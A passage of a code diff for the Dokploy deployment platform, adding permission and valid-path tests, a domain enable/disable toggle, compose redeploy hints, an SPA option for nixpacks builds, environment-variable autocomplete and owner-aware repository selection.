+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
+	});
+
+	it("does not check permissions for a server the caller cannot access", async () => {
+		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
+		mockHasPermission.mockResolvedValue(true);
+		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
+		expect(mockHasPermission).not.toHaveBeenCalled();
+	});
+});

apps/dokploy/__test__/wss/readValidDirectory.test.ts

@@ -94,4 +94,32 @@ describe("readValidDirectory (path traversal)", () => {
 			),
 		).toBe(true);
 	});
+
+	it("returns true for SvelteKit routes with + prefix and @ symbols", () => {
+		expect(
+			readValidDirectory(
+				`${BASE}/applications/myapp/code/src/routes/+page.svelte`,
+			),
+		).toBe(true);
+		expect(
+			readValidDirectory(
+				`${BASE}/applications/myapp/code/src/routes/+layout.svelte`,
+			),
+		).toBe(true);
+		expect(
+			readValidDirectory(
+				`${BASE}/applications/myapp/code/src/routes/+server.ts`,
+			),
+		).toBe(true);
+		expect(
+			readValidDirectory(
+				`${BASE}/applications/myapp/code/src/routes/+error.svelte`,
+			),
+		).toBe(true);
+		expect(
+			readValidDirectory(
+				`${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`,
+			),
+		).toBe(true);
+	});
 });

apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx

@@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
 												To use a cluster feature, you need to configure at least
 												a registry first. Please, go to{" "}
 												<Link
-													href="/dashboard/settings/cluster"
+													href="/dashboard/docker?tab=swarm&subtab=nodes"
 													className="text-foreground"
 												>
 													Settings

apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx

@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
 								</Button>
 							</div>
 							<Dialog open={showModal} onOpenChange={setShowModal}>
-								<DialogContent className="max-w-[50vw]">
+								<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
 									<DialogHeader>
 										<DialogTitle className="text-2xl font-bold">
 											Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
 										</DialogDescription>
 									</DialogHeader>
 
-									<div className="flex flex-col gap-6">
+									<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
 										<div className="space-y-4">
 											<div className="flex items-center gap-2">
 												<Code2 className="h-5 w-5 text-primary" />
@@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => {
 													Docker Compose
 												</h3>
 											</div>
-											<CodeEditor
-												language="yaml"
-												value={templateInfo?.compose || ""}
-												className="font-mono"
-												readOnly
-											/>
+											<div className="max-h-[45vh] overflow-auto rounded-md border">
+												<CodeEditor
+													language="yaml"
+													value={templateInfo?.compose || ""}
+													className="font-mono"
+													readOnly
+												/>
+											</div>
 										</div>
 
 										<Separator />

apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx

@@ -234,7 +234,7 @@ export const HandleRedirect = ({
 									<FormItem>
 										<FormLabel>Replacement</FormLabel>
 										<FormControl>
-											<Input placeholder="http://mydomain/$${1}" {...field} />
+											<Input placeholder="http://mydomain/$1" {...field} />
 										</FormControl>
 
 										<FormMessage />

apps/dokploy/components/dashboard/application/build/show.tsx

@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
 	z.object({
 		buildType: z.literal(BuildType.nixpacks),
 		publishDirectory: z.string().optional(),
+		isStaticSpa: z.boolean().default(false),
 	}),
 	z.object({
 		buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
 			return {
 				buildType: BuildType.nixpacks,
 				publishDirectory: data.publishDirectory || undefined,
+				isStaticSpa: data.isStaticSpa ?? false,
 			};
 		case BuildType.paketo_buildpacks:
 			return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 
 	const buildType = form.watch("buildType");
 	const railpackVersion = form.watch("railpackVersion");
+	const publishDirectory = form.watch("publishDirectory");
 	const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
 
 	useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 					? data.herokuVersion
 					: null,
 			isStaticSpa:
-				data.buildType === BuildType.static ? data.isStaticSpa : null,
+				data.buildType === BuildType.static ||
+				data.buildType === BuildType.nixpacks
+					? data.isStaticSpa
+					: null,
 			railpackVersion:
 				data.buildType === BuildType.railpack
 					? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 								)}
 							/>
 						)}
+						{buildType === BuildType.nixpacks && publishDirectory && (
+							<FormField
+								control={form.control}
+								name="isStaticSpa"
+								render={({ field }) => (
+									<FormItem>
+										<FormControl>
+											<div className="flex items-center gap-x-2 p-2">
+												<Checkbox
+													id="checkboxIsStaticSpaNixpacks"
+													value={String(field.value)}
+													checked={field.value}
+													onCheckedChange={field.onChange}
+												/>
+												<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
+													Single Page Application (SPA)
+												</FormLabel>
+											</div>
+										</FormControl>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+						)}
 						{buildType === BuildType.static && (
 							<FormField
 								control={form.control}

apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx

@@ -148,7 +148,7 @@ export const ShowDeployment = ({
 					<DialogDescription className="flex items-center gap-2">
 						<span className="flex items-center gap-2">
 							See all the details of this deployment |{" "}
-							<Badge variant="blank" className="text-xs">
+							<Badge variant="blank" className="text-xs tabular-nums">
 								{filteredLogs.length} lines
 							</Badge>
 						</span>

apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx

@@ -63,6 +63,9 @@ export const ShowDeployments = ({
 	const [activeLog, setActiveLog] = useState<
 		RouterOutputs["deployment"]["all"][number] | null
 	>(null);
+	const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
+		Set<string>
+	>(new Set());
 	const { data: deployments, isPending: isLoadingDeployments } =
 		api.deployment.allByType.useQuery(
 			{
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
 		api.rollback.rollback.useMutation();
 	const { mutateAsync: killProcess, isPending: isKillingProcess } =
 		api.deployment.killProcess.useMutation();
-	const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
+	const { mutateAsync: removeDeployment } =
 		api.deployment.removeDeployment.useMutation();
 
 	// Cancel deployment mutations
@@ -339,7 +342,7 @@ export const ShowDeployments = ({
 											)}
 											{/* Hash (from description) - shown in compact form */}
 											{deployment.description?.trim() && (
-												<span className="text-xs text-muted-foreground font-mono">
+												<span className="wrap-anywhere text-xs text-muted-foreground font-mono">
 													{deployment.description}
 												</span>
 											)}
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
 													description="Are you sure you want to delete this deployment? This action cannot be undone."
 													type="default"
 													onClick={async () => {
+														setRemovingDeploymentIds((deploymentIds) => {
+															const nextDeploymentIds = new Set(deploymentIds);
+															nextDeploymentIds.add(deployment.deploymentId);
+															return nextDeploymentIds;
+														});
 														try {
 															await removeDeployment({
 																deploymentId: deployment.deploymentId,
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
 															toast.success("Deployment deleted successfully");
 														} catch (error) {
 															toast.error("Error deleting deployment");
+														} finally {
+															setRemovingDeploymentIds((deploymentIds) => {
+																const nextDeploymentIds = new Set(
+																	deploymentIds,
+																);
+																nextDeploymentIds.delete(
+																	deployment.deploymentId,
+																);
+																return nextDeploymentIds;
+															});
 														}
 													}}
 												>
 													<Button
 														variant="destructive"
 														size="sm"
-														isLoading={isRemovingDeployment}
+														isLoading={removingDeploymentIds.has(
+															deployment.deploymentId,
+														)}
 													>
 														Delete
 														<Trash2 className="size-4" />

apps/dokploy/components/dashboard/application/domains/columns.tsx

@@ -14,6 +14,7 @@ import Link from "next/link";
 import { DialogAction } from "@/components/shared/dialog-action";
 import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
 import {
 	Tooltip,
 	TooltipContent,
@@ -35,7 +36,9 @@ interface ColumnsProps {
 	validationStates: ValidationStates;
 	handleValidateDomain: (host: string) => Promise<void>;
 	handleDeleteDomain: (domainId: string) => Promise<void>;
+	handleToggleEnable: (domainId: string) => Promise<void>;
 	isDeleting: boolean;
+	isToggling: boolean;
 	serverIp?: string;
 	canCreateDomain: boolean;
 	canDeleteDomain: boolean;
@@ -47,7 +50,9 @@ export const createColumns = ({
 	validationStates,
 	handleValidateDomain,
 	handleDeleteDomain,
+	handleToggleEnable,
 	isDeleting,
+	isToggling,
 	serverIp,
 	canCreateDomain,
 	canDeleteDomain,
@@ -209,7 +214,9 @@ export const createColumns = ({
 									</Badge>
 								</TooltipTrigger>
 								<TooltipContent className="max-w-xs">
-									{validationState?.error ? (
+									{validationState?.isValid && validationState?.message ? (
+										<p>{validationState.message}</p>
+									) : validationState?.error ? (
 										<div className="flex flex-col gap-1">
 											<p className="font-medium text-red-500">Error:</p>
 											<p>{validationState.error}</p>
@@ -247,6 +254,42 @@ export const createColumns = ({
 			);
 		},
 	},
+	{
+		id: "status",
+		header: "Status",
+		cell: ({ row }) => {
+			const domain = row.original;
+			if (!canCreateDomain) {
+				return (
+					<Badge variant={domain.enabled ? "outline" : "secondary"}>
+						{domain.enabled ? "Enabled" : "Disabled"}
+					</Badge>
+				);
+			}
+			return (
+				<TooltipProvider>
+					<Tooltip>
+						<TooltipTrigger asChild>
+							<div className="flex items-center">
+								<Switch
+									checked={domain.enabled}
+									onCheckedChange={() => handleToggleEnable(domain.domainId)}
+									disabled={isToggling}
+								/>
+							</div>
+						</TooltipTrigger>
+						<TooltipContent>
+							<p>
+								{domain.enabled
+									? "Domain is active. Toggle to disable routing without deleting it."
+									: "Domain is disabled and not routed. Toggle to enable it again."}
+							</p>
+						</TooltipContent>
+					</Tooltip>
+				</TooltipProvider>
+			);
+		},
+	},
 	{
 		id: "actions",
 		header: "Actions",

apps/dokploy/components/dashboard/application/domains/handle-domain.tsx

@@ -46,6 +46,7 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type CacheType = "fetch" | "cache";
 
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 			customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
 		})
 			.then(async () => {
-				toast.success(dictionary.success);
+				toast.success(
+					dictionary.success,
+					data.domainType === "compose"
+						? { description: COMPOSE_REDEPLOY_TOAST }
+						: undefined,
+				);
 
 				if (data.domainType === "application") {
 					await utils.domain.byApplicationId.invalidate({
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 				</DialogHeader>
 				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 
-				{type === "compose" && (
-					<AlertBlock type="info" className="mb-4">
-						Whenever you make changes to domains, remember to redeploy your
-						compose to apply the changes.
-					</AlertBlock>
-				)}
+				{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
 
 				<Form {...form}>
 					<form

apps/dokploy/components/dashboard/application/domains/redeploy-hint.tsx

@@ -0,0 +1,19 @@
+import { AlertBlock } from "@/components/shared/alert-block";
+
+/**
+ * Domains attached to a compose service are rendered as docker labels and only
+ * take effect on the next deployment. These strings keep the "redeploy required"
+ * wording consistent across the add/edit dialog, the domains list and the
+ * toasts shown after create/update/delete/toggle operations.
+ */
+export const COMPOSE_REDEPLOY_HINT =
+	"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
+
+export const COMPOSE_REDEPLOY_TOAST =
+	"Redeploy the compose to apply the changes.";
+
+export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
+	<AlertBlock type="info" className={className}>
+		{COMPOSE_REDEPLOY_HINT}
+	</AlertBlock>
+);

apps/dokploy/components/dashboard/application/domains/show-domains.tsx

@@ -44,6 +44,7 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
 import {
 	Table,
 	TableBody,
@@ -58,11 +59,13 @@ import {
 	TooltipProvider,
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
 import { createColumns } from "./columns";
 import { DnsHelperModal } from "./dns-helper-modal";
 import { AddDomain } from "./handle-domain";
 import { HandleForwardAuth } from "./handle-forward-auth";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type ValidationState = {
 	isLoading: boolean;
@@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
 		api.domain.validateDomain.useMutation();
 	const { mutateAsync: deleteDomain, isPending: isRemoving } =
 		api.domain.delete.useMutation();
+	const { mutateAsync: toggleEnable, isPending: isToggling } =
+		api.domain.toggleEnable.useMutation();
+
+	const handleToggleEnable = async (domainId: string) => {
+		try {
+			const result = await toggleEnable({ domainId });
+			refetch();
+			toast.success(
+				result.enabled ? "Domain enabled" : "Domain disabled",
+				result.requiresRedeploy
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
+		} catch {
+			toast.error("Error updating the domain");
+		}
+	};
 
 	const handleDeleteDomain = async (domainId: string) => {
 		try {
 			await deleteDomain({ domainId });
 			refetch();
-			toast.success("Domain deleted successfully");
+			toast.success(
+				"Domain deleted successfully",
+				type === "compose"
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
 		} catch {
 			toast.error("Error deleting domain");
 		}
@@ -166,8 +191,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 		try {
 			const result = await validateDomain({
 				domain: host,
-				serverIp:
-					application?.server?.ipAddress?.toString() || ip?.toString() || "",
+				serverId: application?.serverId ?? undefined,
 			});
 
 			setValidationStates((prev) => ({
@@ -200,7 +224,9 @@ export const ShowDomains = ({ id, type }: Props) => {
 		validationStates,
 		handleValidateDomain,
 		handleDeleteDomain,
+		handleToggleEnable,
 		isDeleting: isRemoving,
+		isToggling,
 		serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
 		canCreateDomain,
 		canDeleteDomain,
@@ -265,6 +291,11 @@ export const ShowDomains = ({ id, type }: Props) => {
 						)}
 					</div>
 				</CardHeader>
+				{type === "compose" && data && data.length > 0 && (
+					<div className="px-6 pb-4">
+						<ComposeRedeployAlert />
+					</div>
+				)}
 				<CardContent className="flex w-full flex-row gap-4">
 					{isLoadingDomains ? (
 						<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@@ -413,7 +444,10 @@ export const ShowDomains = ({ id, type }: Props) => {
 								return (
 									<Card
 										key={item.domainId}
-										className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
+										className={cn(
+											"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
+											!item.enabled && "opacity-60",
+										)}
 									>
 										<CardContent className="p-6">
 											<div className="flex flex-col gap-4">
@@ -466,18 +500,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 																description="Are you sure you want to delete this domain?"
 																type="destructive"
 																onClick={async () => {
-																	await deleteDomain({
-																		domainId: item.domainId,
-																	})
-																		.then((_data) => {
-																			refetch();
-																			toast.success(
-																				"Domain deleted successfully",
-																			);
-																		})
-																		.catch(() => {
-																			toast.error("Error deleting domain");
-																		});
+																	await handleDeleteDomain(item.domainId);
 																}}
 															>
 																<Button
@@ -492,15 +515,41 @@ export const ShowDomains = ({ id, type }: Props) => {
 														)}
 													</div>
 												</div>
-												<div className="w-full break-all">
-													<Link
-														className="flex items-center gap-2 text-base font-medium hover:underline"
-														target="_blank"
-														href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
-													>
-														{item.host}
-														<ExternalLink className="size-4 min-w-4" />
-													</Link>
+												<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
+													<div className="w-full break-all">
+														<Link
+															className="flex items-center gap-2 text-base font-medium hover:underline"
+															target="_blank"
+															href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
+														>
+															{item.host}
+															<ExternalLink className="size-4 min-w-4" />
+														</Link>
+													</div>
+													{canCreateDomain && (
+														<TooltipProvider>
+															<Tooltip>
+																<TooltipTrigger asChild>
+																	<div className="flex items-center shrink-0">
+																		<Switch
+																			checked={item.enabled}
+																			onCheckedChange={() =>
+																				handleToggleEnable(item.domainId)
+																			}
+																			disabled={isToggling}
+																		/>
+																	</div>
+																</TooltipTrigger>
+																<TooltipContent>
+																	<p>
+																		{item.enabled
+																			? "Domain is active. Toggle to disable routing without deleting it."
+																			: "Domain is disabled and not routed. Toggle to enable it again."}
+																	</p>
+																</TooltipContent>
+															</Tooltip>
+														</TooltipProvider>
+													)}
 												</div>
 
 												{/* Domain Details */}
@@ -626,7 +675,10 @@ export const ShowDomains = ({ id, type }: Props) => {
 																</Badge>
 															</TooltipTrigger>
 															<TooltipContent className="max-w-xs">
-																{validationState?.error ? (
+																{validationState?.isValid &&
+																validationState?.message ? (
+																	<p>{validationState.message}</p>
+																) : validationState?.error ? (
 																	<div className="flex flex-col gap-1">
 																		<p className="font-medium text-red-500">
 																			Error:

apps/dokploy/components/dashboard/application/environment/show-environment.tsx

@@ -5,6 +5,8 @@ import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
+import { VaultImportDialog } from "@/components/shared/vault-import-dialog";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -16,16 +18,20 @@ import {
 import {
 	Form,
 	FormControl,
+	FormDescription,
 	FormField,
 	FormItem,
+	FormLabel,
 	FormMessage,
 } from "@/components/ui/form";
+import { Switch } from "@/components/ui/switch";
 import { Toggle } from "@/components/ui/toggle";
 import { api } from "@/utils/api";
 import type { ServiceType } from "../advanced/show-resources";
 
 const addEnvironmentSchema = z.object({
 	environment: z.string(),
+	createEnvFile: z.boolean(),
 });
 
 type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -54,6 +60,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 		? queryMap[type]()
 		: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
 	const [isEnvVisible, setIsEnvVisible] = useState(true);
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
 
 	const mutationMap = {
 		compose: () => api.compose.saveEnvironment.useMutation(),
@@ -71,18 +83,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			environment: "",
+			createEnvFile: true,
 		},
 		resolver: zodResolver(addEnvironmentSchema),
 	});
 
 	// Watch form value
 	const currentEnvironment = form.watch("environment");
-	const hasChanges = currentEnvironment !== (data?.env || "");
+	const currentCreateEnvFile = form.watch("createEnvFile");
+	const composeData =
+		type === "compose"
+			? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
+			: undefined;
+
+	const showCreateEnvFileToggle =
+		type === "compose" &&
+		(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
+	const hasChanges =
+		currentEnvironment !== (data?.env || "") ||
+		(showCreateEnvFileToggle &&
+			currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
 
 	useEffect(() => {
 		if (data) {
 			form.reset({
 				environment: data.env || "",
+				createEnvFile: composeData?.createEnvFile ?? true,
 			});
 		}
 	}, [data, form]);
@@ -97,6 +123,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 			postgresId: id || "",
 			redisId: id || "",
 			env: formData.environment,
+			...(type === "compose" && {
+				createEnvFile: formData.createEnvFile,
+			}),
 		})
 			.then(async () => {
 				toast.success("Environments Added");
@@ -110,6 +139,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const handleCancel = () => {
 		form.reset({
 			environment: data?.env || "",
+			createEnvFile: composeData?.createEnvFile ?? true,
 		});
 	};
 
@@ -168,6 +198,18 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 								name="environment"
 								render={({ field }) => (
 									<FormItem>
+										<div className="flex justify-end">
+											<VaultImportDialog
+												projectId={data?.environment?.projectId}
+												environmentId={data?.environment?.environmentId}
+												currentEnv={field.value ?? ""}
+												onImport={(next) =>
+													form.setValue("environment", next, {
+														shouldDirty: true,
+													})
+												}
+											/>
+										</div>
 										<FormControl className="">
 											<CodeEditor
 												style={
@@ -176,6 +218,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 													} as CSSProperties
 												}
 												language="properties"
+												completionSource={completionSource}
 												disabled={isEnvVisible}
 												className="font-mono"
 												wrapperClassName="compose-file-editor"
@@ -190,6 +233,34 @@ PORT=3000
 								)}
 							/>
 
+							{showCreateEnvFileToggle && (
+								<FormField
+									control={form.control}
+									name="createEnvFile"
+									render={({ field }) => (
+										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
+											<div className="space-y-0.5">
+												<FormLabel>Create Environment File</FormLabel>
+												<FormDescription>
+													When enabled, an .env file will be created in the same
+													directory as your compose file on every deploy.
+													Disable this to keep a repository-provided .env; the
+													variables above will then be ignored. Takes effect on
+													the next deploy.
+												</FormDescription>
+											</div>
+											<FormControl>
+												<Switch
+													checked={field.value}
+													onCheckedChange={field.onChange}
+													disabled={!canWrite}
+												/>
+											</FormControl>
+										</FormItem>
+									)}
+								/>
+							)}
+
 							{canWrite && (
 								<div className="flex flex-row justify-end gap-2">
 									{hasChanges && (

apps/dokploy/components/dashboard/application/environment/show.tsx

@@ -3,6 +3,7 @@ import { useEffect } from "react";
 import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import { Card } from "@/components/ui/card";
 import {
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
+
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			env: "",
@@ -60,14 +68,16 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 	const currentBuildArgs = form.watch("buildArgs");
 	const currentBuildSecrets = form.watch("buildSecrets");
 	const currentCreateEnvFile = form.watch("createEnvFile");
+	const { isDirty } = form.formState;
 	const hasChanges =
 		currentEnv !== (data?.env || "") ||
 		currentBuildArgs !== (data?.buildArgs || "") ||
 		currentBuildSecrets !== (data?.buildSecrets || "") ||
 		currentCreateEnvFile !== (data?.createEnvFile ?? true);
 
+	// Skip reset while editing so background refetches don't wipe edits
 	useEffect(() => {
-		if (data) {
+		if (data && !isDirty) {
 			form.reset({
 				env: data.env || "",
 				buildArgs: data.buildArgs || "",
@@ -75,7 +85,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 				createEnvFile: data.createEnvFile ?? true,
 			});
 		}
-	}, [data, form]);
+	}, [data, isDirty, form]);
 
 	const onSubmit = async (formData: EnvironmentSchema) => {
 		mutateAsync({
@@ -87,6 +97,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 		})
 			.then(async () => {
 				toast.success("Environments Added");
+				form.reset(formData);
 				await refetch();
 			})
 			.catch(() => {
@@ -139,6 +150,9 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 							</span>
 						}
 						placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
+						completionSource={completionSource}
+						projectId={data?.environment?.projectId}
+						environmentId={data?.environment?.environmentId}
 					/>
 					{data?.buildType === "dockerfile" && (
 						<Secrets
@@ -160,6 +174,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (
@@ -182,6 +197,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (

apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx

@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
@@ -438,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 										{field.value?.map((path, index) => (
 											<Badge key={index} variant="secondary">
 												{path}
-												<X
-													className="ml-1 size-3 cursor-pointer"
+												<button
+													type="button"
+													aria-label="Remove watch path"
+													className="inline-flex items-center focus-visible:ring-2"
 													onClick={() => {
 														const newPaths = [...(field.value || [])];
 														newPaths.splice(index, 1);
 														form.setValue("watchPaths", newPaths);
 													}}
-												/>
+												>
+													<X className="ml-1 size-3 cursor-pointer" />
+												</button>
 											</Badge>
 										))}
 									</div>
@@ -493,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 							control={form.control}
 							name="enableSubmodules"
 							render={({ field }) => (
-								<FormItem className="flex items-center space-x-2">
+								<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 									<FormControl>
 										<Switch
 											checked={field.value}
 											onCheckedChange={field.onChange}
 										/>
 									</FormControl>
-									<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+									<FormLabel>Enable Submodules</FormLabel>
 								</FormItem>
 							)}
 						/>

apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx

@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
 									{field.value?.map((path, index) => (
 										<Badge key={index} variant="secondary">
 											{path}
-											<X
-												className="ml-1 size-3 cursor-pointer"
+											<button
+												type="button"
+												aria-label="Remove watch path"
+												className="inline-flex items-center focus-visible:ring-2"
 												onClick={() => {
 													const newPaths = [...(field.value || [])];
 													newPaths.splice(index, 1);
 													form.setValue("watchPaths", newPaths);
 												}}
-											/>
+											>
+												<X className="ml-1 size-3 cursor-pointer" />
+											</button>
 										</Badge>
 									))}
 								</div>
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
 						control={form.control}
 						name="enableSubmodules"
 						render={({ field }) => (
-							<FormItem className="flex items-center space-x-2">
+							<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 								<FormControl>
 									<Switch
 										checked={field.value}
 										onCheckedChange={field.onChange}
 									/>
 								</FormControl>
-								<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+								<FormLabel>Enable Submodules</FormLabel>
 							</FormItem>
 						)}
 					/>

apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx

@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 															? "Loading...."
 															: (repositories?.find(
 																	(repo: GiteaRepository) =>
-																		repo.name === field.value.repo,
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
